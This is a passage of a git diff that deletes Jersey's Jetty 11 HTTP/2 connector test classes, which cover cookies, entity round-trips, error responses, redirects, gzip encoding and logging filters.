-        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
-        cc.connectorProvider(new JettyHttp2ConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-
-        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
-        if (connector.getCookieStore() != null) {
-            assertTrue(connector.getCookieStore().getCookies().isEmpty());
-        } else {
-            assertNull(connector.getCookieStore());
-        }
-        client.close();
-    }
-
-    @Test
-    public void testCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new JettyHttp2ConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-
-        final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
-        assertNotNull(connector.getCookieStore().getCookies());
-        assertEquals(1, connector.getCookieStore().getCookies().size());
-        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
-        client.close();
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
deleted file mode 100644
index 369169a..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-import java.io.IOException;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
-        ClientRequestFilter, ClientResponseFilter {
-
-    static int preFilterCalled = 0;
-    static int postFilterCalled = 0;
-
-    @Override
-    public void filter(ClientRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        postFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        postFilterCalled++;
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
deleted file mode 100644
index 0f508ca..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.jackson.JacksonFeature;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import jakarta.xml.bind.annotation.XmlRootElement;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class EntityTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class EntityResource {
-
-        @GET
-        public Person get() {
-            return new Person("John", "Doe");
-        }
-
-        @POST
-        public Person post(Person entity) {
-            return entity;
-        }
-
-    }
-
-    @XmlRootElement
-    public static class Person {
-
-        private String firstName;
-        private String lastName;
-
-        public Person() {
-        }
-
-        public Person(String firstName, String lastName) {
-            this.firstName = firstName;
-            this.lastName = lastName;
-        }
-
-        public String getFirstName() {
-            return firstName;
-        }
-
-        public void setFirstName(String firstName) {
-            this.firstName = firstName;
-        }
-
-        public String getLastName() {
-            return lastName;
-        }
-
-        public void setLastName(String lastName) {
-            this.lastName = lastName;
-        }
-
-        @Override
-        public String toString() {
-            return firstName + " " + lastName;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider())
-                .register(JacksonFeature.class);
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
-                .post(Entity.xml(new Person("John", "Doe"))).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
-                .get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
deleted file mode 100644
index 64d8198..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.ClientErrorException;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class ErrorTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(ErrorResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-
-    @Path("/test")
-    public static class ErrorResource {
-        @POST
-        public Response post(String entity) {
-            return Response.serverError().build();
-        }
-
-        @Path("entity")
-        @POST
-        public Response postWithEntity(String entity) {
-            return Response.serverError().entity("error").build();
-        }
-    }
-
-    @Test
-    public void testPostError() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntity() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntityAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
deleted file mode 100644
index 2604f9b..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
+++ /dev/null
@@ -1,129 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-import java.io.IOException;
-import java.net.URI;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class FollowRedirectsTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
-
-    @Path("/test")
-    public static class RedirectResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("redirect")
-        public Response redirect() {
-            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(RedirectResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    private static class RedirectTestFilter implements ClientResponseFilter {
-        public static final String RESOLVED_URI_HEADER = "resolved-uri";
-
-        @Override
-        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
-            if (responseContext instanceof ClientResponse) {
-                ClientResponse clientResponse = (ClientResponse) responseContext;
-                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
-            }
-        }
-    }
-
-    @Test
-    public void testDoFollow() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        Response r = t.path("test/redirect")
-                .register(RedirectTestFilter.class)
-                .request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-        c.close();
-    }
-
-    @Test
-    public void testDoFollowPerRequestOverride() {
-        WebTarget t = target("test/redirect");
-        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
-        Response r = t.request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDontFollow() {
-        WebTarget t = target("test/redirect");
-        assertEquals(303, t.request().get().getStatus());
-    }
-
-    @Test
-    public void testDontFollowPerRequestOverride() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget t = client.target(u);
-        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        Response r = t.path("test/redirect").request().get();
-        assertEquals(303, r.getStatus());
-        client.close();
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
deleted file mode 100644
index 29bb444..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.util.Arrays;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class GZIPContentEncodingTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    @Path("/")
-    public static class Resource {
-
-        @POST
-        public byte[] post(byte[] content) {
-            return content;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(Resource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(GZipEncoder.class);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target();
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig config = new ClientConfig();
-        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-
-        client.close();
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
deleted file mode 100644
index ac6870a..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
+++ /dev/null
@@ -1,220 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.InvocationCallback;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class HelloWorldTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
-    private static final String ROOT_PATH = "helloworld";
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testConnection() {
-        Response response = target().path(ROOT_PATH).request("text/plain").get();
-        assertEquals(200, response.getStatus());
-    }
-
-    @Test
-    public void testClientStringResponse() {
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-    }
-
-    @Test
-    public void testAsyncClientRequests() throws InterruptedException {
-        final int REQUESTS = 20;
-        final CountDownLatch latch = new CountDownLatch(REQUESTS);
-        final long tic = System.currentTimeMillis();
-        for (int i = 0; i < REQUESTS; i++) {
-            final int id = i;
-            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
-                @Override
-                public void completed(Response response) {
-                    try {
-                        final String result = response.readEntity(String.class);
-                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
-                    } finally {
-                        latch.countDown();
-                    }
-                }
-
-                @Override
-                public void failed(Throwable error) {
-                    error.printStackTrace();
-                    latch.countDown();
-                }
-            });
-        }
-        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
-        final long toc = System.currentTimeMillis();
-        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
-    }
-
-    @Test
-    public void testHead() {
-        Response response = target().path(ROOT_PATH).request().head();
-        assertEquals(200, response.getStatus());
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals("foo/bar", response.getMediaType().toString());
-        assertEquals(0, response.getLength());
-    }
-
-    @Test
-    public void testTextPlainOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-        final String responseBody = response.readEntity(String.class);
-        _checkAllowContent(responseBody);
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testMissingResourceNotFound() {
-        Response response;
-
-        response = target().path(ROOT_PATH + "arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-
-        response = target().path(ROOT_PATH).path("arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientClass() {
-        Client client = client();
-        client.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientInstance() {
-        Client client = client();
-        client.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterTargetClass() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetInstance() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testConfigurationUpdate() {
-        Client client1 = client();
-        client1.register(CustomLoggingFilter.class).property("foo", "bar");
-
-        Client client = ClientBuilder.newClient(client1.getConfiguration());
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
deleted file mode 100644
index 71b1361..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import java.util.List;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
